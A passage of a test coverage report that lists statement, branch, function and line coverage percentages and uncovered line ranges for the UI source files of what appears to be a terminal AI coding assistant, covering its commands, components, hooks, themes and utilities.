  ...tic-colors.ts |     100 |      100 |     100 |     100 |                   
  ...inePresets.ts |   98.17 |    88.88 |     100 |   98.17 | ...12,239,387-389 
  textConstants.ts |     100 |      100 |     100 |     100 |                   
  types.ts         |     100 |      100 |     100 |     100 |                   
 src/ui/auth       |   52.97 |    51.21 |   42.42 |   52.97 |                   
  AuthDialog.tsx   |   62.87 |     42.1 |   18.18 |   62.87 | ...03,310-332,336 
  ...nProgress.tsx |       0 |        0 |       0 |       0 | 1-64              
  ...etupSteps.tsx |    39.4 |       32 |   38.46 |    39.4 | ...68,471,477,480 
  useAuth.ts       |   94.55 |    73.52 |     100 |   94.55 | ...19-220,239-245 
  ...rSetupFlow.ts |   43.45 |    33.33 |      50 |   43.45 | ...68-389,406-449 
 src/ui/commands   |   75.97 |    81.52 |   83.82 |   75.97 |                   
  aboutCommand.ts  |     100 |      100 |     100 |     100 |                   
  agentsCommand.ts |   83.78 |      100 |      60 |   83.78 | 30-32,42-44       
  ...odeCommand.ts |   89.04 |    81.25 |     100 |   89.04 | 91-92,94-99       
  arenaCommand.ts  |   62.81 |    58.73 |   65.21 |   62.81 | ...91-596,681-689 
  authCommand.ts   |     100 |      100 |     100 |     100 |                   
  branchCommand.ts |     100 |      100 |     100 |     100 |                   
  btwCommand.ts    |   95.59 |    71.42 |     100 |   95.59 | 72,154-159        
  bugCommand.ts    |   81.13 |    71.42 |     100 |   81.13 | 60-69             
  clearCommand.ts  |      92 |    76.47 |     100 |      92 | 43-44,72-73,91-92 
  ...essCommand.ts |    64.7 |       50 |      75 |    64.7 | ...48-149,163-166 
  ...extCommand.ts |   65.06 |    67.24 |   84.61 |   65.06 | ...39-574,585-586 
  copyCommand.ts   |   98.28 |    94.89 |     100 |   98.28 | ...80,280,321,327 
  deleteCommand.ts |     100 |      100 |     100 |     100 |                   
  diffCommand.ts   |     100 |     87.5 |     100 |     100 | ...61,224-225,238 
  ...ryCommand.tsx |   77.02 |    79.03 |   88.88 |   77.02 | ...65-270,324-332 
  docsCommand.ts   |     100 |    88.88 |     100 |     100 | 25                
  doctorCommand.ts |   95.06 |    88.28 |     100 |   95.06 | ...92-293,320-321 
  dreamCommand.ts  |      75 |    66.66 |   66.66 |      75 | 22-27,44-47       
  editorCommand.ts |     100 |      100 |     100 |     100 |                   
  exportCommand.ts |   98.25 |    91.02 |     100 |   98.25 | ...81,198-199,364 
  ...onsCommand.ts |   49.33 |     90.9 |   63.63 |   49.33 | ...06-110,163-215 
  forgetCommand.ts |   26.82 |      100 |      50 |   26.82 | 18-51             
  goalCommand.ts   |   91.41 |    84.44 |      90 |   91.41 | ...86-189,201-204 
  helpCommand.ts   |     100 |      100 |     100 |     100 |                   
  hooksCommand.ts  |    20.4 |       40 |      40 |    20.4 | ...48-180,204-205 
  ideCommand.ts    |   60.75 |    64.28 |   41.17 |   60.75 | ...05-306,310-324 
  initCommand.ts   |   84.33 |    72.72 |     100 |   84.33 | 68,82-87,89-94    
  ...ghtCommand.ts |   74.56 |    68.42 |     100 |   74.56 | ...31-245,250-273 
  ...ageCommand.ts |   92.17 |    82.69 |     100 |   92.17 | ...43,164,173-183 
  lspCommand.ts    |     100 |    86.95 |     100 |     100 | 31,101-102        
  mcpCommand.ts    |     100 |      100 |     100 |     100 |                   
  memoryCommand.ts |     100 |      100 |     100 |     100 |                   
  modelCommand.ts  |   75.09 |    78.18 |      75 |   75.09 | ...20-225,262-267 
  ...onsCommand.ts |     100 |      100 |     100 |     100 |                   
  planCommand.ts   |   78.82 |    76.92 |     100 |   78.82 | 30-35,51-56,68-73 
  quitCommand.ts   |     100 |      100 |     100 |     100 |                   
  recapCommand.ts  |   21.81 |      100 |      50 |   21.81 | 24-73             
  ...berCommand.ts |   32.43 |      100 |      50 |   32.43 | 23-57             
  renameCommand.ts |   85.71 |    86.04 |     100 |   85.71 | ...02-209,216-221 
  ...oreCommand.ts |    92.3 |    87.87 |     100 |    92.3 | ...,83-88,129-130 
  resumeCommand.ts |     100 |      100 |     100 |     100 |                   
  rewindCommand.ts |      80 |      100 |      50 |      80 | 19-21             
  ...ngsCommand.ts |     100 |      100 |     100 |     100 |                   
  ...hubCommand.ts |   81.43 |    65.21 |      80 |   81.43 | ...70-173,176-179 
  skillsCommand.ts |   37.06 |       50 |      50 |   37.06 | ...99-115,118-145 
  statsCommand.ts  |   88.19 |    84.21 |     100 |   88.19 | ...,58-61,143-146 
  ...ineCommand.ts |     100 |      100 |     100 |     100 |                   
  ...aryCommand.ts |    6.46 |      100 |      50 |    6.46 | 31-329            
  tasksCommand.ts  |   77.22 |    72.13 |     100 |   77.22 | ...46-150,172-177 
  ...tupCommand.ts |     100 |      100 |     100 |     100 |                   
  themeCommand.ts  |     100 |      100 |     100 |     100 |                   
  toolsCommand.ts  |     100 |      100 |     100 |     100 |                   
  trustCommand.ts  |     100 |      100 |     100 |     100 |                   
  types.ts         |     100 |      100 |     100 |     100 |                   
  vimCommand.ts    |   54.54 |      100 |      50 |   54.54 | 19-29             
 src/ui/components |   62.34 |    75.09 |   64.85 |   62.34 |                   
  AboutBox.tsx     |     100 |      100 |     100 |     100 |                   
  AnsiOutput.tsx   |   65.57 |      100 |      50 |   65.57 | 69-90             
  ApiKeyInput.tsx  |       0 |        0 |       0 |       0 | 1-97              
  AppHeader.tsx    |   89.06 |       75 |     100 |   89.06 | 37,39-44,46       
  ...odeDialog.tsx |     9.7 |      100 |       0 |     9.7 | 35-47,50-182      
  AsciiArt.ts      |     100 |      100 |     100 |     100 |                   
  ...Indicator.tsx |   13.04 |      100 |       0 |   13.04 | 18-61             
  ...TextInput.tsx |   77.01 |       76 |     100 |   77.01 | ...20,234-236,263 
  Composer.tsx     |    81.6 |     64.7 |     100 |    81.6 | ...90,108,160,173 
  ...entPrompt.tsx |     100 |      100 |     100 |     100 |                   
  ...ryDisplay.tsx |   75.89 |    62.06 |     100 |   75.89 | ...,88,93-108,113 
  ...geDisplay.tsx |   68.42 |    57.14 |     100 |   68.42 | 16-17,31-32,42-50 
  ...ification.tsx |   28.57 |      100 |       0 |   28.57 | 16-36             
  ...gProfiler.tsx |       0 |        0 |       0 |       0 | 1-36              
  ...ogManager.tsx |   11.98 |      100 |       0 |   11.98 | 65-508            
  DiffDialog.tsx   |    2.47 |      100 |       0 |    2.47 | 68-732            
  ...ngsDialog.tsx |    8.44 |      100 |       0 |    8.44 | 37-195            
  ExitWarning.tsx  |     100 |      100 |     100 |     100 |                   
  ...hProgress.tsx |    87.8 |    33.33 |     100 |    87.8 | 28-31,56          
  ...ustDialog.tsx |     100 |      100 |     100 |     100 |                   
  Footer.tsx       |   76.59 |    48.64 |     100 |   76.59 | ...35-136,175-180 
  ...ngSpinner.tsx |   68.42 |       80 |      50 |   68.42 | 35-52,73,80-81    
  GoalPill.tsx     |   76.19 |    81.81 |     100 |   76.19 | 24-30,46-50       
  Header.tsx       |   98.62 |    94.28 |     100 |   98.62 | 162,164           
  Help.tsx         |   98.32 |       90 |     100 |   98.32 | ...24,381,447-448 
  ...emDisplay.tsx |    61.7 |       36 |     100 |    61.7 | ...42,345,348-354 
  ...ngeDialog.tsx |     100 |      100 |     100 |     100 |                   
  InputPrompt.tsx  |   80.76 |    79.62 |   83.33 |   80.76 | ...1456,1588,1638 
  ...Shortcuts.tsx |   20.87 |      100 |       0 |   20.87 | ...6,49-51,67-125 
  ...Indicator.tsx |     100 |    91.42 |     100 |     100 | 65,74             
  ...firmation.tsx |   91.42 |      100 |      50 |   91.42 | 26-31             
  MainContent.tsx  |   81.75 |       75 |     100 |   81.75 | ...70-274,282-286 
  MemoryDialog.tsx |    55.1 |    54.54 |   57.14 |    55.1 | ...56,368,381-383 
  ...geDisplay.tsx |       0 |        0 |       0 |       0 | 1-41              
  ModelDialog.tsx  |   80.12 |    63.55 |     100 |   80.12 | ...39-555,612-616 
  ...tsDisplay.tsx |     100 |    97.22 |     100 |     100 | 270               
  ...fications.tsx |   18.18 |      100 |       0 |   18.18 | 15-58             
  ...onsDialog.tsx |    2.13 |      100 |       0 |    2.13 | 62-133,148-1004   
  ...ryDisplay.tsx |     100 |      100 |     100 |     100 |                   
  ...icePrompt.tsx |   92.64 |    85.71 |     100 |   92.64 | 102-106,134-139   
  PrepareLabel.tsx |   91.66 |    77.27 |     100 |   91.66 | 73-75,77-79,110   
  ...atePrompt.tsx |    8.57 |      100 |       0 |    8.57 | 24-55,58-134      
  ...geDisplay.tsx |     100 |      100 |     100 |     100 |                   
  ...ngDisplay.tsx |   21.42 |      100 |       0 |   21.42 | 13-39             
  ...hProgress.tsx |   85.25 |    88.46 |     100 |   85.25 | 121-147           
  ...dSelector.tsx |   41.26 |    61.53 |   71.42 |   41.26 | ...74-472,476-520 
  ...ionPicker.tsx |   83.66 |    72.13 |     100 |   83.66 | ...96,402,444-466 
  ...onPreview.tsx |   92.42 |    84.37 |     100 |   92.42 | ...,70-71,143-145 
  ...ryDisplay.tsx |     100 |      100 |     100 |     100 |                   
  ...putPrompt.tsx |   72.56 |       80 |      40 |   72.56 | ...06-109,114-117 
  ...ngsDialog.tsx |   66.27 |    71.16 |      75 |   66.27 | ...12-820,826-827 
  ...ionDialog.tsx |    87.8 |      100 |   33.33 |    87.8 | 36-39,44-51       
  ...putPrompt.tsx |    15.9 |      100 |       0 |    15.9 | 20-63             
  ...Indicator.tsx |   57.14 |      100 |       0 |   57.14 | 12-15             
  ...MoreLines.tsx |      28 |      100 |       0 |      28 | 18-40             
  ...ionPicker.tsx |   17.59 |      100 |       0 |   17.59 | 55-172            
  StatsDisplay.tsx |     100 |      100 |     100 |     100 |                   
  ...ineDialog.tsx |   93.69 |    83.92 |     100 |   93.69 | ...11,273,293-295 
  ...yTodoList.tsx |   94.17 |       80 |     100 |   94.17 | 56-57,131-134     
  ...nsDisplay.tsx |   87.25 |       64 |     100 |   87.25 | ...47-149,156-158 
  ThemeDialog.tsx  |   89.95 |    46.15 |      75 |   89.95 | ...71-173,243-245 
  Tips.tsx         |   93.54 |       75 |     100 |   93.54 | 39-40             
  TodoDisplay.tsx  |     100 |      100 |     100 |     100 |                   
  ...tsDisplay.tsx |     100 |     87.5 |     100 |     100 | 31-32             
  TrustDialog.tsx  |     100 |    81.81 |     100 |     100 | 71-86             
  ...ification.tsx |   36.36 |      100 |       0 |   36.36 | 15-22             
  ...ackDialog.tsx |    7.84 |      100 |       0 |    7.84 | 24-134            
  ...xitDialog.tsx |   80.36 |    43.47 |      60 |   80.36 | ...24-238,248-251 
 ...nts/agent-view |   38.31 |    70.83 |   36.36 |   38.31 |                   
  ...atContent.tsx |    8.79 |      100 |       0 |    8.79 | 53-265,271-273    
  ...tChatView.tsx |   21.05 |      100 |       0 |   21.05 | 21-39             
  ...tComposer.tsx |   10.28 |      100 |       0 |   10.28 | 58-311            
  AgentFooter.tsx  |   17.07 |      100 |       0 |   17.07 | 28-66             
  AgentHeader.tsx  |   15.38 |      100 |       0 |   15.38 | 27-64             
  AgentTabBar.tsx  |    87.8 |    27.27 |     100 |    87.8 | ...,85,95-103,121 
  ...oryAdapter.ts |     100 |    91.83 |     100 |     100 | 103,109-110,138   
  index.ts         |       0 |        0 |       0 |       0 | 1-12              
 ...mponents/arena |   45.72 |    70.53 |   60.86 |   45.72 |                   
  ArenaCards.tsx   |   73.06 |    71.79 |   85.71 |   73.06 | ...83-185,321-326 
  ...ectDialog.tsx |   83.48 |    69.86 |   88.88 |   83.48 | ...88-392,409-410 
  ...artDialog.tsx |   10.15 |      100 |       0 |   10.15 | 27-161            
  ...tusDialog.tsx |    5.63 |      100 |       0 |    5.63 | 33-75,80-288      
  ...topDialog.tsx |    6.17 |      100 |       0 |    6.17 | 33-213            
 ...ackground-view |    75.6 |    82.66 |   85.29 |    75.6 |                   
  ...sksDialog.tsx |   70.99 |    80.48 |   76.19 |   70.99 | ...1120,1196-1198 
  ...TasksPill.tsx |   63.75 |    86.95 |     100 |   63.75 | 44,86-106,114-122 
  ...gentPanel.tsx |    97.4 |    86.31 |     100 |    97.4 | 123,434-438       
 ...nts/extensions |   45.28 |    33.33 |      60 |   45.28 |                   
  ...gerDialog.tsx |   44.31 |    34.14 |      75 |   44.31 | ...71-480,483-488 
  index.ts         |       0 |        0 |       0 |       0 | 1-9               
  types.ts         |     100 |      100 |     100 |     100 |                   
 ...tensions/steps |   54.88 |    94.23 |   66.66 |   54.88 |                   
  ...ctionStep.tsx |   95.12 |    92.85 |   85.71 |   95.12 | 84-86,89          
  ...etailStep.tsx |    6.18 |      100 |       0 |    6.18 | 20-131            
  ...nListStep.tsx |   88.43 |    94.73 |      80 |   88.43 | 52-53,59-72,106   
  ...electStep.tsx |   13.46 |      100 |       0 |   13.46 | 20-70             
  ...nfirmStep.tsx |   19.56 |      100 |       0 |   19.56 | 23-65             
  index.ts         |     100 |      100 |     100 |     100 |                   
 ...mponents/hooks |   68.67 |    69.07 |   69.56 |   68.67 |                   
  ...etailStep.tsx |   74.68 |    66.66 |   66.66 |   74.68 | ...71-184,188-201 
  ...etailStep.tsx |    87.4 |    73.68 |     100 |    87.4 | 41-42,99-113,119  
  ...abledStep.tsx |     100 |      100 |     100 |     100 |                   
  ...sListStep.tsx |     100 |      100 |     100 |     100 |                   
  ...entDialog.tsx |   34.51 |    47.05 |   42.85 |   34.51 | ...78,482-495,499 
  constants.ts     |     100 |      100 |     100 |     100 |                   
  index.ts         |       0 |        0 |       0 |       0 | 1-13              
  types.ts         |     100 |      100 |     100 |     100 |                   
 ...components/mcp |   20.98 |    86.36 |   83.33 |   20.98 |                   
  ...ealthPill.tsx |   68.42 |    85.71 |     100 |   68.42 | 40-46             
  ...entDialog.tsx |    3.64 |      100 |       0 |    3.64 | 41-717            
  constants.ts     |     100 |      100 |     100 |     100 |                   
  index.ts         |       0 |        0 |       0 |       0 | 1-30              
  types.ts         |     100 |      100 |     100 |     100 |                   
  utils.ts         |   95.83 |    88.88 |     100 |   95.83 | 16,20,109-110     
 ...ents/mcp/steps |   26.74 |    54.54 |   42.85 |   26.74 |                   
  ...icateStep.tsx |    5.88 |      100 |       0 |    5.88 | 40-55,58-296      
  ...electStep.tsx |   10.95 |      100 |       0 |   10.95 | 16-88             
  ...etailStep.tsx |    5.26 |      100 |       0 |    5.26 | 31-247            
  ...rListStep.tsx |   75.18 |    59.37 |     100 |   75.18 | ...53-158,169-173 
  ...etailStep.tsx |   10.41 |      100 |       0 |   10.41 | ...1,67-79,82-139 
  ToolListStep.tsx |   69.02 |       50 |     100 |   69.02 | ...22,125,134-143 
 ...nents/messages |   83.23 |    80.55 |    75.6 |   83.23 |                   
  ...ionDialog.tsx |   80.84 |     77.6 |    62.5 |   80.84 | ...98,516,534-536 
  BtwMessage.tsx   |     100 |      100 |     100 |     100 |                   
  ...upDisplay.tsx |   97.67 |    83.72 |     100 |   97.67 | 119,142,150       
  ...onMessage.tsx |   91.93 |    82.35 |     100 |   91.93 | 57-59,61,63       
  ...nMessages.tsx |   79.06 |      100 |      70 |   79.06 | ...51-264,268-280 
  DiffRenderer.tsx |   93.19 |    86.17 |     100 |   93.19 | ...09,237-238,304 
  ...tsDisplay.tsx |   97.82 |    77.27 |     100 |   97.82 | 87,89             
  ...usMessage.tsx |   76.31 |     42.1 |   66.66 |   76.31 | ...99,101,124,155 
  ...tsDisplay.tsx |    95.1 |    88.05 |     100 |    95.1 | ...29,131,164-169 
  ...ssMessage.tsx |    12.5 |      100 |       0 |    12.5 | 18-59             
  ...edMessage.tsx |   16.66 |      100 |       0 |   16.66 | 22-38             
  ...sMessages.tsx |   55.67 |       40 |   28.57 |   55.67 | ...20-125,133-145 
  ...ryMessage.tsx |   14.28 |      100 |       0 |   14.28 | 23-62             
  ...onMessage.tsx |   81.98 |     72.6 |   33.33 |   81.98 | ...65-467,474-476 
  ...upMessage.tsx |   82.63 |    92.85 |     100 |   82.63 | ...85-412,434-449 
  ToolMessage.tsx  |   88.84 |    75.71 |    92.3 |   88.84 | ...44-749,776-778 
 ...ponents/shared |   86.23 |    79.33 |   95.94 |   86.23 |                   
  ...ctionList.tsx |   99.03 |    95.65 |     100 |   99.03 | 85                
  ...tonSelect.tsx |     100 |      100 |     100 |     100 |                   
  EnumSelector.tsx |     100 |    96.42 |     100 |     100 | 58                
  MaxSizedBox.tsx  |   83.01 |    86.25 |   88.88 |   83.01 | ...12-513,618-619 
  MultiSelect.tsx  |   84.31 |    74.19 |     100 |   84.31 | ...37,193-195,205 
  ...tonSelect.tsx |     100 |      100 |     100 |     100 |                   
  ...eSelector.tsx |     100 |       60 |     100 |     100 | 40-45             
  TextInput.tsx    |   77.77 |    48.78 |      80 |   77.77 | ...14-218,230-236 
  ...apsedTime.tsx |     100 |      100 |     100 |     100 |                   
  ...Indicator.tsx |     100 |      100 |     100 |     100 |                   
  text-buffer.ts   |   85.38 |       80 |   97.77 |   85.38 | ...2437,2535-2536 
  ...er-actions.ts |   86.71 |    67.79 |     100 |   86.71 | ...07-608,809-811 
 ...ents/subagents |   30.87 |        0 |       0 |   30.87 |                   
  constants.ts     |     100 |      100 |     100 |     100 |                   
  index.ts         |       0 |        0 |       0 |       0 | 1-11              
  reducers.tsx     |    12.1 |      100 |       0 |    12.1 | 33-190            
  types.ts         |     100 |      100 |     100 |     100 |                   
  utils.ts         |   10.95 |      100 |       0 |   10.95 | ...1,56-57,60-102 
 ...bagents/create |    9.13 |      100 |       0 |    9.13 |                   
  ...ionWizard.tsx |    7.28 |      100 |       0 |    7.28 | 34-299            
  ...rSelector.tsx |   14.75 |      100 |       0 |   14.75 | 26-85             
  ...onSummary.tsx |    4.26 |      100 |       0 |    4.26 | 27-331            
  ...tionInput.tsx |    8.63 |      100 |       0 |    8.63 | 23-177            
  ...dSelector.tsx |   33.33 |      100 |       0 |   33.33 | 20-21,26-27,36-63 
  ...nSelector.tsx |    37.5 |      100 |       0 |    37.5 | 20-21,26-27,36-58 
  ...EntryStep.tsx |   12.76 |      100 |       0 |   12.76 | 34-78             
  ToolSelector.tsx |    4.16 |      100 |       0 |    4.16 | 31-253            
 ...bagents/manage |   21.51 |    59.52 |   27.27 |   21.51 |                   
  ...ctionStep.tsx |   10.25 |      100 |       0 |   10.25 | 21-103            
  ...eleteStep.tsx |   20.93 |      100 |       0 |   20.93 | 23-62             
  ...tEditStep.tsx |   25.53 |      100 |       0 |   25.53 | ...2,37-38,51-124 
  ...ctionStep.tsx |   35.42 |    59.52 |     100 |   35.42 | ...20-432,437-439 
  ...iewerStep.tsx |   13.72 |      100 |       0 |   13.72 | 18-73             
  ...gerDialog.tsx |    6.74 |      100 |       0 |    6.74 | 35-341            
 ...mponents/views |   70.21 |    67.32 |    64.7 |   70.21 |                   
  ContextUsage.tsx |   70.88 |    63.88 |      80 |   70.88 | ...20-426,463-557 
  DoctorReport.tsx |     9.8 |      100 |       0 |     9.8 | 25-54,57-131      
  ...sionsList.tsx |   87.69 |    73.68 |     100 |   87.69 | 65-72             
  McpStatus.tsx    |   89.53 |    60.52 |     100 |   89.53 | ...72,175-177,262 
  SkillsList.tsx   |   27.27 |      100 |       0 |   27.27 | 18-35             
  ToolsList.tsx    |     100 |      100 |     100 |     100 |                   
 src/ui/contexts   |   77.45 |    77.46 |   80.35 |   77.45 |                   
  ...ewContext.tsx |    64.7 |    85.71 |      50 |    64.7 | ...22-225,231-241 
  AppContext.tsx   |      80 |       50 |     100 |      80 | 19-20             
  ...ewContext.tsx |   93.03 |    64.28 |      50 |   93.03 | ...31-232,259-263 
  ...deContext.tsx |     100 |      100 |     100 |     100 |                   
  ...igContext.tsx |   81.81 |       50 |     100 |   81.81 | 15-16             
  ...ssContext.tsx |   82.31 |    82.84 |     100 |   82.31 | ...1153,1159-1161 
  ...owContext.tsx |   89.28 |       80 |   66.66 |   89.28 | 34,47-48,60-62    
  ...deContext.tsx |     100 |      100 |      50 |     100 |                   
  ...onContext.tsx |   43.28 |     62.5 |    62.5 |   43.28 | ...56-259,263-266 
  ...gsContext.tsx |   83.33 |       50 |     100 |   83.33 | 17-18             
  ...usContext.tsx |     100 |      100 |     100 |     100 |                   
  ...ngContext.tsx |   71.42 |       50 |     100 |   71.42 | 17-20             
  ...utContext.tsx |   85.71 |      100 |   66.66 |   85.71 | 13-14             
  ...nsContext.tsx |   88.23 |       50 |     100 |   88.23 | 118-119           
  ...teContext.tsx |   86.66 |       50 |     100 |   86.66 | 194-195           
  ...deContext.tsx |   76.08 |    72.72 |     100 |   76.08 | 47-48,52-59,77-78 
 src/ui/daemon     |   90.76 |    73.73 |   95.45 |   90.76 |                   
  ...TuiAdapter.ts |   90.76 |    73.73 |   95.45 |   90.76 | ...53,771-772,858 
 src/ui/editors    |   93.33 |    85.71 |   66.66 |   93.33 |                   
  ...ngsManager.ts |   93.33 |    85.71 |   66.66 |   93.33 | 49,63-64          
 src/ui/hooks      |   82.19 |    82.19 |   86.87 |   82.19 |                   
  ...dProcessor.ts |   83.12 |    82.56 |     100 |   83.12 | ...88-389,408-435 
  keyToAnsi.ts     |    3.92 |      100 |       0 |    3.92 | 19-77             
  ...dProcessor.ts |    94.8 |    70.58 |     100 |    94.8 | ...76-277,282-283 
  ...dProcessor.ts |   75.75 |    63.01 |   61.53 |   75.75 | ...84,908,927-931 
  ...amingState.ts |   12.22 |      100 |       0 |   12.22 | 54-157            
  ...agerDialog.ts |   88.23 |      100 |     100 |   88.23 | 20,24             
  ...ationFrame.ts |      32 |       60 |     100 |      32 | 42-44,51-90       
  ...odeCommand.ts |   58.82 |      100 |     100 |   58.82 | 28,33-48          
  ...enaCommand.ts |      85 |      100 |     100 |      85 | 23-24,29          
  ...aInProcess.ts |   19.81 |    66.66 |      25 |   19.81 | 57-175            
  ...Completion.ts |   92.81 |    89.09 |     100 |   92.81 | ...86-187,224-227 
  ...ifications.ts |   92.07 |    96.29 |     100 |   92.07 | 116-124           
  ...tIndicator.ts |   83.49 |    70.96 |     100 |   83.49 | ...60,168,170-178 
  ...waySummary.ts |   96.22 |    69.69 |     100 |   96.22 | 125-127,169       
  ...ndTaskView.ts |   94.21 |    76.08 |     100 |   94.21 | 122-126,213,219   
  ...ketedPaste.ts |    23.8 |      100 |       0 |    23.8 | 19-37             
  ...nchCommand.ts |   94.36 |    74.35 |     100 |   94.36 | ...60,168-169,209 
  ...ompletion.tsx |   96.01 |    83.87 |     100 |   96.01 | ...22-223,225-226 
  ...dMigration.ts |   90.62 |       75 |     100 |   90.62 | 38-40             
  useCompletion.ts |    92.4 |     87.5 |     100 |    92.4 | 68-69,93-94,98-99 
  ...nitMessage.ts |     100 |      100 |     100 |     100 |                   
  ...extualTips.ts |   77.27 |       50 |     100 |   77.27 | ...2,75-79,93-101 
  ...eteCommand.ts |   78.53 |    88.57 |     100 |   78.53 | ...96-104,112-113 
  ...ialogClose.ts |   13.33 |      100 |     100 |   13.33 | 82-173            
  useDiffData.ts   |   11.62 |      100 |       0 |   11.62 | 44-87             
  ...oublePress.ts |   53.12 |       75 |     100 |   53.12 | 33-35,41-54       
  ...orSettings.ts |     100 |      100 |     100 |     100 |                   
  ...Completion.ts |   99.12 |    97.67 |     100 |   99.12 | 182-183           
  ...ionUpdates.ts |   93.45 |     92.3 |     100 |   93.45 | ...83-287,300-306 
  ...agerDialog.ts |   88.88 |      100 |     100 |   88.88 | 21,25             
  ...backDialog.ts |   57.89 |    71.42 |      50 |   57.89 | ...66-168,190-191 
  useFocus.ts      |     100 |      100 |     100 |     100 |                   
  ...olderTrust.ts |     100 |      100 |     100 |     100 |                   
  ...ggestions.tsx |   89.15 |     62.5 |      50 |   89.15 | ...22-124,149-150 
  ...miniStream.ts |   78.06 |    75.47 |   91.66 |   78.06 | ...2573,2586-2594 
  ...BranchName.ts |    90.9 |     92.3 |     100 |    90.9 | 19-20,55-58       
  ...oryManager.ts |   93.15 |    93.75 |     100 |   93.15 | 44,107-110        
  ...ooksDialog.ts |    87.5 |      100 |     100 |    87.5 | 19,23             
  ...stListener.ts |     100 |      100 |     100 |     100 |                   
  ...nAuthError.ts |   76.19 |       50 |     100 |   76.19 | 39-40,43-45       
  ...putHistory.ts |   92.59 |    85.71 |     100 |   92.59 | 63-64,72,94-96    
  ...storyStore.ts |     100 |    94.11 |     100 |     100 | 69                
  useKeypress.ts   |     100 |      100 |     100 |     100 |                   
  ...rdProtocol.ts |   36.36 |      100 |       0 |   36.36 | 24-31             
  ...unchEditor.ts |    9.67 |      100 |       0 |    9.67 | 11-32,39-90       
  ...gIndicator.ts |     100 |      100 |     100 |     100 |                   
  useLogger.ts     |   21.05 |      100 |       0 |   21.05 | 15-37             
  useMCPHealth.ts  |   63.15 |       75 |      50 |   63.15 | 42-52,64-67       
  useMcpDialog.ts  |    87.5 |      100 |     100 |    87.5 | 19,23             
  ...moryDialog.ts |    87.5 |      100 |     100 |    87.5 | 19,23             
  ...oryMonitor.ts |     100 |      100 |     100 |     100 |                   
  ...ssageQueue.ts |     100 |      100 |     100 |     100 |                   
  ...delCommand.ts |     100 |       75 |     100 |     100 | 22                
  ...raseCycler.ts |   84.74 |    76.47 |     100 |   84.74 | ...49,52-53,69-71 
  ...rredEditor.ts |   58.33 |    22.22 |     100 |   58.33 | 23-27,29-33       
  ...derUpdates.ts |   86.49 |    77.96 |    90.9 |   86.49 | ...26,288-300,348 
  useQwenAuth.ts   |     100 |      100 |     100 |     100 |                   
  ...lScheduler.ts |    84.7 |    93.33 |     100 |    84.7 | ...71-276,372-382 
  ...oryCommand.ts |       0 |        0 |       0 |       0 | 1-7               
  ...umeCommand.ts |   97.08 |    83.33 |     100 |   97.08 | 103-104,133       
  ...ompletion.tsx |   90.59 |    83.33 |     100 |   90.59 | ...01,104,137-140 
  ...ectionList.ts |   96.98 |    95.69 |     100 |   96.98 | ...83-184,238-241 
  ...sionPicker.ts |   92.87 |    90.35 |     100 |   92.87 | ...99-501,503-505 
  ...earchInput.ts |     100 |      100 |     100 |     100 |                   
  ...ngsCommand.ts |   18.75 |      100 |       0 |   18.75 | 10-25             
  ...ellHistory.ts |   91.74 |    79.41 |     100 |   91.74 | ...74,122-123,133 
  ...oryCommand.ts |       0 |        0 |       0 |       0 | 1-73              
  ...Completion.ts |    82.7 |    85.41 |   94.73 |    82.7 | ...69-671,679-715 
  ...tateAndRef.ts |     100 |      100 |     100 |     100 |                   
  useStatusLine.ts |   96.09 |    90.37 |     100 |   96.09 | ...62-365,450-457 
  ...eateDialog.ts |   88.23 |      100 |     100 |   88.23 | 14,18             
  ...tification.ts |     100 |    85.71 |     100 |     100 | 47                
  ...alProgress.ts |   53.06 |       50 |   66.66 |   53.06 | ...53,61-68,79-85 
  ...rminalSize.ts |   76.19 |      100 |      50 |   76.19 | 21-25             
  ...emeCommand.ts |   67.01 |    29.41 |     100 |   67.01 | ...10-111,115-116 
  useTimer.ts      |   88.09 |    85.71 |     100 |   88.09 | 44-45,51-53       
  ...lMigration.ts |       0 |        0 |       0 |       0 |                   
  ...rustModify.ts |     100 |      100 |     100 |     100 |                   
  useTurnDiffs.ts  |   95.12 |    78.57 |     100 |   95.12 | 133-134,156-157   
  ...elcomeBack.ts |   87.36 |     90.9 |     100 |   87.36 | ...,94-96,114-115 
  ...reeSession.ts |   93.75 |       70 |     100 |   93.75 | 44-45,87          
  vim.ts           |   83.77 |    80.31 |     100 |   83.77 | ...55,759-767,776 
 src/ui/layouts    |   89.72 |     87.5 |     100 |   89.72 |                   
  ...AppLayout.tsx |   89.88 |     87.5 |     100 |   89.88 | 51-53,93-98       
  ...AppLayout.tsx |   89.47 |     87.5 |     100 |   89.47 | 58-63             
 src/ui/models     |   80.24 |    79.16 |   71.42 |   80.24 |                   
  ...ableModels.ts |   80.24 |    79.16 |   71.42 |   80.24 | ...,61-71,123-125 
 ...noninteractive |     100 |      100 |   14.28 |     100 |                   
  ...eractiveUi.ts |     100 |      100 |   14.28 |     100 |                   
 src/ui/state      |   94.91 |    81.81 |     100 |   94.91 |                   
  extensions.ts    |   94.91 |    81.81 |     100 |   94.91 | 68-69,88          
 src/ui/themes     |   98.53 |    70.58 |     100 |   98.53 |                   
  ansi-light.ts    |     100 |      100 |     100 |     100 |                   
  ansi.ts          |     100 |      100 |     100 |     100 |                   
  atom-one-dark.ts |     100 |      100 |     100 |     100 |                   
  ayu-light.ts     |     100 |      100 |     100 |     100 |                   
  ayu.ts           |     100 |      100 |     100 |     100 |                   
  color-utils.ts   |     100 |      100 |     100 |     100 |                   
  default-light.ts |     100 |      100 |     100 |     100 |                   
  default.ts       |     100 |      100 |     100 |     100 |                   
  ...inal-theme.ts |   88.59 |    85.96 |     100 |   88.59 | ...57-261,266-270 
  dracula.ts       |     100 |      100 |     100 |     100 |                   
  github-dark.ts   |     100 |      100 |     100 |     100 |                   
  github-light.ts  |     100 |      100 |     100 |     100 |                   
  googlecode.ts    |     100 |      100 |     100 |     100 |                   
  no-color.ts      |     100 |      100 |     100 |     100 |                   
  qwen-dark.ts     |     100 |      100 |     100 |     100 |                   
  qwen-light.ts    |     100 |      100 |     100 |     100 |                   
  ...tic-tokens.ts |     100 |      100 |     100 |     100 |                   
  ...-of-purple.ts |     100 |      100 |     100 |     100 |                   
  theme-manager.ts |   87.98 |    82.89 |     100 |   87.98 | ...48-357,362-363 
  theme.ts         |     100 |    38.02 |     100 |     100 | ...34-449,457-461 
  xcode.ts         |     100 |      100 |     100 |     100 |                   
 src/ui/utils      |   83.98 |       83 |   92.61 |   83.98 |                   
  ...Colorizer.tsx |   79.53 |    83.78 |     100 |   79.53 | ...51-152,249-275 
  ...nRenderer.tsx |   68.83 |    70.14 |      50 |   68.83 | ...52-254,274-293 
  ...wnDisplay.tsx |   86.01 |    87.41 |     100 |   86.01 | ...87,704,729-754 
